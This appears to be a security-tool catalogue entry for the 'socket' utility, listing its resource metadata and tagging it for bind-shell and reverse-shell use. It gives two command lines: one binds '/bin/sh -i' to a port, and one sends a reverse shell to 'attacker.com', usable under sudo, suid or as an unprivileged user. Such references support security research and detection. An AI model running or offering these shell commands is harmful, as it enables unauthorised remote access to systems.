Create TCP/UDP communication endpoints; can transfer data and spawn shells.
socket socket Sandbox: execFile · Timeout: 30s
security.execution.bind-shell security.execution.reverse-shell Outputs
process.output Command execution output
process_spawn Produces
process.output| Resource | Value |
|---|---|
| CPU | low |
| Memory | 16 MB |
| Network | none |
| Disk I/O | low |
Bind a shell to a port (sudo, suid, unprivileged)
socket -svp '/bin/sh -i' 12345 Send a reverse shell (sudo, suid, unprivileged)
socket -qvp '/bin/sh -i' attacker.com 12345 socket is a command-line utility. Create TCP/UDP sockets for data transfer; can also bind a shell to a port, send a reverse shell.